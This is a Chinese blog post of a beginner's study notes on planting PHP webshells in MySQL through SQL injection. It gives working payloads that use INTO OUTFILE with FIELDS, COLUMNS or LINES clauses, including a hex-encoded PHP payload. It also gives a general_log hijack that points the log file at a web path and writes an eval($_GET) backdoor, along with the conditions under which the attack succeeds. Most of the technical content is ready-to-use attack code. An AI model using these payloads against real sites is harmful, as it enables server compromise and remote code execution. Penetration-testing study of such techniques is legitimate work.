其他sql注入写入webshell的方式

(菜鸟一枚,日常记录,写的不对的地方欢迎大家指正)

1.lines starting by写入

注入原理:利用lines starting by语句进行拼接,拼接后面的webshell内容,lines starting by可以理解成以每行开始的位置添加xx语句。

注入:

 结果验证:

 2.fields terminated by写入

fields terminated by原理为在输出数据的每个字段之间插入webshell内容,所以如果select返回的只有一个字段,则写入的文件不包含webshell内容,例如下面语句

SELECT username FROM user WHERE id = 1 into outfile 'D:/1.php' FIELDS TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e

写入的文件中只包含username的值而没有webshell内容。

注入:

1' into outfile  'F:\\phpstudy\\MySQL\\data\\ws2.php'  fields terminated  by '<?php phpinfo();?>' #

结果验证:

 此处为两个字段,因而成功写入webshell。

 3.COLUMNS terminated by写入

利用COLUMNS terminated by语句进行拼接,拼接后面的webshell内容,COLUMNS terminated by可以理解为以每个字段的位置添加xx内容。

注入:

1' into outfile  'F:\\phpstudy\\MySQL\\data\\ws3.php'  columns terminated  by '<?php phpinfo();?>' #

 实验结果:

 4.利用log写入

1)新版本的MySQL设置了导出文件的路径,很难在获取Webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQL的log文件来获取Webshell。

2)需要满足的条件

  • 对web目录有写权限
  • GPC关闭(GPC:是否对单引号转义)
  • 有绝对路径(读文件可以不用,写文件需要)
  • 需要能执行多行SQL语句   

3)操作如下:

show variables like '%general%';            	 # 查看配置

set global general_log = on;              		 # 开启general log模式,将所有到达MySQL Server的SQL语句记录下来。

set global general_log_file = 'D:/WWW/evil.php'; # 设置日志目录为shell地址

select '<?php eval($_GET[g]);?>'             	 # 写入shell

set global general_log=off;                  	 # 关闭general log模式

 连接本机数据库:

 

 

 4)结果验证:

参考链接:
(5条消息) SQL注入写入webshell_番茄酱料的博客-CSDN博客

 报错注入邂逅load_file&into outfile搭讪LINES - 先知社区 (aliyun.com)

 (5条消息) SQL注入写webshell_sql注入写入webshell_天猫来下凡的博客-CSDN博客

(5条消息) mysql写入一句话的方式_by x'01' lines terminated by x'0a_孤君的博客-CSDN博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值